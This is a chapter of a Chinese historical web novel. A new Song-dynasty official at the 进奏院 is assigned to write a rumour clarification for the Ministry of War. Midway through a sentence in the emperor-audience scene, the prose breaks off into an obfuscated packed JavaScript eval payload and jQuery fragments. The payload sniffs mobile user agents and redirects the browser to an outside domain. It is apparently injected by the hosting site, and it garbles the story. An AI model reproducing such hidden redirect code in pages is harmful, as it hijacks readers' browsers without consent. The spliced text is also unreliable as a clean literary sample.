桃源李 作品
27. 烫手活
挑夫们肩上扁担吱呀作响，装满鲜蔬的竹筐晃晃悠悠；茶馆伙计边沏上热气腾腾的茶水，边扯开嗓子吆喝：“新鲜的茶叶，一文一碗”；铁器铺里铁匠赤膊抡起铁锤，“叮叮当当”火星四溅；布庄门前，掌柜的算盘珠子噼里啪啦，与客商讨价还价声交织作响……
蒋鹤鸣立在一块小巧精致却并不气派的“都进奏院”门匾前，征征地看着眼前这幅众生相。
今日是蒋鹤鸣去进奏院上任的第一天。
一大早，蒋鹤鸣便洗漱穿戴好，坐着蒋府马车，按照敕碟上所述地址来到了他即将入职的地方。
在嘈杂的热闹声中，蒋鹤鸣下了马车……
他愣住了，转头问马夫：“你是不是走错路了？”
这怎么来到了朱雀街了？
马夫挠挠头：“没错啊，我是按照地址走的。”
接着马夫又眼尖地看到不远处一处府邸前挂着的那个不起眼的门匾，手一指：“郎君，您瞧，那儿写着进奏院呢。”
顺着马夫的手望去，还真是。
正疑惑着呢，忽然听到一个陌生的声音喊道：“蒋大人，这里！”
寻着声音望去，卖胡饼和羊肉汤的摊子前，一个人影在白雾缭绕中朝蒋鹤鸣挥舞着手臂：“蒋大人，我在这里！”
蒋鹤鸣走上前去。
离得近了，一张约四十来岁的十分富态的脸才从热腾腾的白雾中露了出来。
这人用手背擦了擦嘴上的汤渍，眼睛笑成一条缝：“想必阁下是蒋鹤鸣，蒋大人吧？”
得到蒋鹤鸣的肯定后，他热情地问：“蒋大人用过饭了没？这家摊子羊汤味道可是方圆五里最好的一家！您要不要来一碗尝尝？”
还没等蒋鹤鸣委婉拒绝，他已经朝摊子老板招呼：“老板，再来一碗汤外加两张胡饼！”
转过头，他热络地作起了自我介绍：“蒋大人，鄙人姓赵，名赵博禹。也是一名进奏官，在这院里已经五年了。院里怕您找不着路，特意让我来迎接您一下，顺带和您介绍一下。”
蒋鹤鸣拱了拱手：“有劳赵大人。”
“嗐，您客气。”
老板将羊汤和胡饼一道送上来，奶白色的羊汤上点缀了这碧绿的葱花，香味四溢，直勾得人肚子里的馋虫都快要出来了。
蒋鹤鸣轻轻摇头表明自己用过饭了，谢过他的好意。
于是赵博禹就毫不见外地将羊汤端到自己面前，呼哧呼哧地吃起他的第二碗，边吃边问：“蒋大人，想必您好奇为何进奏院为何坐落此处吧？”
蒋鹤鸣点点头。
第二碗汤下肚，赵博禹美美地打了个饱嗝：“嗝～是这样的，前唐的大明宫和兴庆宫的修建，以东市为中心，朱雀街东形成了达官显贵的居住区。不仅是商贸繁荣之地，更是信息集散地。因此前唐将进奏院选址于此。”
他摸摸了吃撑了的肚子继续道：“大宋进奏院选址沿袭前唐，定在崇仁坊和平康坊一带。这人多的地方信息就多嘛，也是便于我们搜集情报，往来交通，开展日常工作。”
蒋鹤鸣心下了然，点了点头：“多谢赵大人。”
赵博禹抹了一把油光光的嘴巴，起身离开：“老板，老规矩，记账！走，蒋大人，我带您去进奏院。”
蒋鹤鸣跟随者赵博禹的步伐，迈进进奏院的大门。几下转身便进了庑廊。
一股庑廊的陈年墨馊味从庑廊深处飘了过来。
赵博禹像是早已闻惯了这股味道，继续笑着对蒋鹤鸣说：“蒋大人，我们进奏院不比其他地方，府邸不大，人员却不少，所以啊都得挤挤，不过没事热闹嘛。喏，里头便是我们日常编录抄写所在的公厅了。”
说话间，两人已来到里头的公厅。
“各位，新同僚来了！”赵博禹嗓门洪亮地朝在公厅的众人喊了一声。
满堂书吏的纸笔声倏然静默。几十道目光黏在蒋鹤鸣的青罗官服上
——
这便是那位不知为何失了圣意，史上第一个只封了从八品的探花郎？
可惜喽，瞧这幅俊俏的皮囊，如今只得套上这绣着练鹊纹的青袍。
蒋鹤鸣一下子被在场的所有人聚焦，顿感如芒刺背，浑身不自在。
赵博禹十分有眼力见地站出来，伸手挥了挥：“好了，大伙继续忙吧，我带蒋大人看看他的堂案。”
几十道目光倏然消散，各自又忙活回自己的事情。
在公厅里头一处僻静处，一张收拾干净整齐的堂案静静地待着。
“蒋大人，这是我们监院特意嘱咐的，让我给你挑的好地方。”赵博禹压低声音，略带邀功的口吻说。
这里头的位置确实又明亮又安静。
蒋鹤鸣执手一揖：“多谢监院和赵大人了。那请问监院所在何处？今日我初至进奏院履新，理当前往谒见上官，以安职事。”
赵博禹摸了摸自己稀疏的发顶，面露为难：“监院被官家叫去了，估摸着一时半会回不来了。”
而此刻的赵博禹口中的苏监院——苏顺清正在垂拱殿里坐立难安。
与他一道被召见的还有兵部尚书钱德忠。
那兵部的钱德忠平时老大三粗一个人，今日却卸了那威严庄重之态。竟然学那些舞文弄墨的人在那赖赖唧唧地让官家替他做主：“官家您再不管管，今年兵营真招不到人。”
钱德忠将小报登了《骑兵营全体不举》致使他们招兵困难的事情一五一十地向官家道出。
“竟然还有这种事？”宝座上一身明黄龙袍的官家听了这话有些忍俊不禁。没想到这小小的小报居然还掀起来这样的风波。
“臣实在是没有办法了，让他们去和那些百姓解释，也没人愿意听。臣私下想着想着这既然这事是由小报引起的，那么应该在进奏院状上为兵部澄清啊。”钱德忠道出自己此趟觐见的真实目的。
这个钱德忠居然让他们进奏院替兵部辟谣这等事？这也太伤大雅了。他们进奏院状是这么用的吗？
苏顺清也不直接拒绝，而是朝着官家行礼后将自己知道的事道了出来：“回禀官家，臣也听闻过这件事情。我记
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840130|169793||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
得说是因为兵部私自在马鞍上安装了黄铜，改马鞍的制造。这才引起了骑兵营一干人等的病症。”
“哦，钱卿可有此事？”
这下轮到兵部的人尴尬了，钱德中支支吾吾回道：“马鞍都已经改回去了。有病症的人也现下也已经大好了。”
接着他又矛头一转：“但是不管怎么说，这进奏院有监督天下舆情之职，所以这件事情苏监院总不能坐视不管呀！”
就这样在钱德忠的死皮赖脸之下，苏顺清接了一个烫手的山芋回到了院里。
苏顺清愁眉苦脸地坐到他的监院办里。这个该怎么澄清呢？交给谁办呢？这进奏院这么多年还没接到过这种活。
正愁着呢，那正巧路过监院办的赵博禹看到他惊喜道：“苏监院，您回来啦，正巧新人入院了，想来拜见您呢。您看看他怎么安排呢？”
苏顺清无力的挥挥手。今日我不见客。
“那我就先安排蒋大人做一些抄录的活计？”赵博禹试探性的问了问。
“行，你先安排着吧。”苏顺清正欲打发走赵博禹，忽然像想起了什么，“你刚刚说的蒋大人是那个新晋探花蒋鹤鸣吗？”
赵博禹不懂为何苏监院又将他喊住，不明所以回答道：“回监院，正是。”
“我记得前些日子那小报上沸沸扬扬登的那人是不是也叫蒋鹤鸣？”苏顺清努力在脑海中回想着名字。
“对呀，就是那个蒋鹤鸣。”赵博禹平日里也有买小报的习惯，立马肯定地回答。
为何他的苏监院眼中闪过了一丝惊喜？
苏顺清一拍脑门，差点将这号人给忘了，这不巧了？
天降英才啊！
他赶紧招呼赵博禹：“快将蒋鹤鸣喊来。”
蒋鹤鸣听到苏监院召他，以为苏监院要考校他，给他安排任务，于是连忙赶去监院办。
一进门，就看到一身着浅绯色官服，身形清癯的中年人正坐在桌案前等他。
正是进奏院的监院，也是他的顶头上司——苏顺清。
蒋鹤鸣拱手作揖：“微臣见过苏监院。”
嗯，此生浑身自带一股正气，看上去不卑不亢，感觉是个合适的人选。
苏顺清摸摸胡子一边围绕着他走一边提问：“我且问你，你知道我们进奏院是做甚的吗？”
蒋鹤鸣正色回答：“进奏院，掌朝廷与诸路讯息通传。收州府章奏，誊录整理后呈递朝廷；承诏敕、文报，速传地方。于京刺探时政，编进奏院状发往各路，维系朝廷与地方文书往来，乃上下信息流转之要津，关乎政令通达、政务畅行。”
看来是上了心的，功课做得不错，苏顺清满意地点点头，拍拍他的肩膀：“你说的不错，但是眼下我有一项更重要的任务交于你。”
蒋鹤鸣眼眸明亮，掷地有声道：“下官定不负监院所托。”
“你来替兵部写一则澄清。”苏顺清递给他一张小报大小的纸。
蒋鹤鸣双手接过。
嗯？怎么又是汴京轶事报？
这小报怎么有点阴魂不散啊？